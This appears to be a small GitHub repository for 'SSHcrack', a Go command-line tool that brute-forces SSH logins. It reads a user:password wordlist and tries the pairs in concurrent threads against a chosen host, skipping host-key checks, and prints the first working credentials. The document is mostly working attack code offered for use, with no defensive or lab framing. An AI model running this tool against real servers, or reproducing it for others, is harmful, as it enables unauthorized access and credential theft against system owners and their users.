├── README.md ├── .gitignore ├── LICENSE └── sshcrack.go /README.md: -------------------------------------------------------------------------------- 1 | # SSHcrack 2 | SSH brute force tool made with golang 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Leeon123 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /sshcrack.go: -------------------------------------------------------------------------------- 1 | /* 2 | Code by Leeon123, simple ssh brute force 3 | */ 4 | package main 5 | 6 | import ( 7 | "bufio" 8 | "fmt" 9 | "os" 10 | "strconv" 11 | "strings" 12 | "time" 13 | "unsafe" 14 | 15 | "golang.org/x/crypto/ssh" 16 | ) 17 | 18 | var ( 19 | host = "" 20 | port = "22" 21 | timeout = 10 22 | thread_limit = 6 23 | wordlist_file = "wordlist.txt" 24 | wordlist []string 25 | delay = 10 26 | succ = make(chan bool) 27 | done = 0 28 | threads = 0 29 | ) 30 | 31 | /* 32 | func str2bytes(s string) []byte { 33 | x := (*[2]uintptr)(unsafe.Pointer(&s)) 34 | h := [3]uintptr{x[0], x[1], x[1]} 35 | return *(*[]byte)(unsafe.Pointer(&h)) 36 | }*/ 37 | func bytes2str(s []byte) string { 38 | return *(*string)(unsafe.Pointer(&s)) 39 | } 40 | func main() { 41 | fmt.Println(" /$$$$$$ /$$$$$$ /$$ /$$ /$$ ") 42 | fmt.Println(" /$$__ $$ /$$__ $$| $$ | $$ | $$ ") 43 | fmt.Println("| $$ \\__/| $$ \\__/| $$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$| $$ /$$") 44 | fmt.Println("| $$$$$$ | $$$$$$ | $$$$$$$$ /$$_____/ /$$__ $$|____ $$ /$$_____/| $$ /$$/") 45 | fmt.Println(" \\____ $$ \\____ $$| $$__ $$| $$ | $$ \\__/ /$$$$$$$| $$ | $$$$$$/ ") 46 | fmt.Println(" /$$ \\ $$ /$$ \\ $$| $$ | $$| $$ | $$ /$$__ $$| $$ | $$_ $$ ") 47 | fmt.Println("| $$$$$$/| $$$$$$/| $$ | $$| $$$$$$$| $$ | $$$$$$$| $$$$$$$| $$ \\ $$") 48 | fmt.Println(" \\______/ \\______/ |__/ |__/ \\_______/|__/ \\_______/ \\_______/|__/ \\__/") 49 | fmt.Println("================================================================================") 50 | args := os.Args 51 | var err error 52 | var help bool 53 | for k, v := range args { 54 | if v == "-h" { 55 | host = os.Args[k+1] 56 | } 57 | if v == "-p" { 58 | port = os.Args[k+1] 59 | } 60 | if v == "-t" { 61 | timeout, err = strconv.Atoi(os.Args[k+1]) 62 | if err != nil { 63 | fmt.Println("-t must be a integer") 64 | } 65 | } 66 | if v == "-d" { 67 | delay, err = strconv.Atoi(os.Args[k+1]) 68 | if err != nil { 69 | fmt.Println("-d must be a integer") 70 | } 71 | } 72 | if v == "-f" { 73 | wordlist_file = os.Args[k+1] 74 | } 75 | if v == "-help" { 76 | help = true 77 | } 78 | } 79 | if help || host == "" { 80 | fmt.Println("Usage of " + os.Args[0]) 81 | fmt.Println(" -h : target") 82 | fmt.Println(" -p : port") 83 | fmt.Println(" -f : wordlist file") 84 | fmt.Println(" -t : timeout(second)") 85 | fmt.Println(" -d : delay") 86 | fmt.Println("================================================================================") 87 | return 88 | } 89 | fmt.Println("Target : " + host) 90 | fmt.Println("Port : " + port) 91 | fmt.Println("timeout : " + strconv.Itoa(timeout)) 92 | fmt.Println() 93 | fmt.Println("Loading wordlist...") 94 | func() { 95 | fi, err := os.Open(wordlist_file) 96 | if err != nil { 97 | fmt.Printf("Error: %s\n", err) 98 | return 99 | } 100 | defer fi.Close() 101 | scanner := bufio.NewScanner(fi) 102 | for scanner.Scan() { 103 | wordlist = append(wordlist, scanner.Text()) 104 | } 105 | fmt.Println("Wordlist lines: " + strconv.Itoa(len(wordlist))) 106 | }() 107 | var tmp []string 108 | go func() { 109 | for { 110 | fmt.Printf("\r[ Tried: %6s ]", strconv.Itoa(done)) 111 | os.Stdout.Sync() 112 | time.Sleep(500 * time.Millisecond) 113 | } 114 | }() 115 | for i := 0; i < len(wordlist); i++ { 116 | tmp = strings.Split(wordlist[i], ":") 117 | addr := host + ":" + port 118 | for { 119 | if threads < thread_limit { 120 | go brute_force(addr, tmp[0], tmp[1], timeout) 121 | threads++ 122 | break 123 | } else { 124 | time.Sleep(50 * time.Millisecond) 125 | } 126 | } 127 | time.Sleep(time.Millisecond * time.Duration(delay)) 128 | } 129 | println() 130 | <-succ 131 | } 132 | 133 | func brute_force(addr string, user string, pass string, timeout int) { 134 | sshConfig := &ssh.ClientConfig{ 135 | User: user, 136 | Auth: []ssh.AuthMethod{ssh.Password(pass)}, 137 | Timeout: time.Duration(timeout) * time.Second, 138 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 139 | } 140 | 141 | client, err := ssh.Dial("tcp", addr, sshConfig) 142 | if err != nil { 143 | done++ 144 | threads-- 145 | return 146 | } 147 | 148 | _, err = client.NewSession() 149 | if err != nil { 150 | client.Close() 151 | done++ 152 | threads-- 153 | return 154 | 155 | } 156 | done++ 157 | threads-- 158 | fmt.Println("====================") 159 | fmt.Println("User: " + user) 160 | fmt.Println("Pass: " + pass) 161 | fmt.Println("====================") 162 | close(succ) 163 | return 164 | } 165 | --------------------------------------------------------------------------------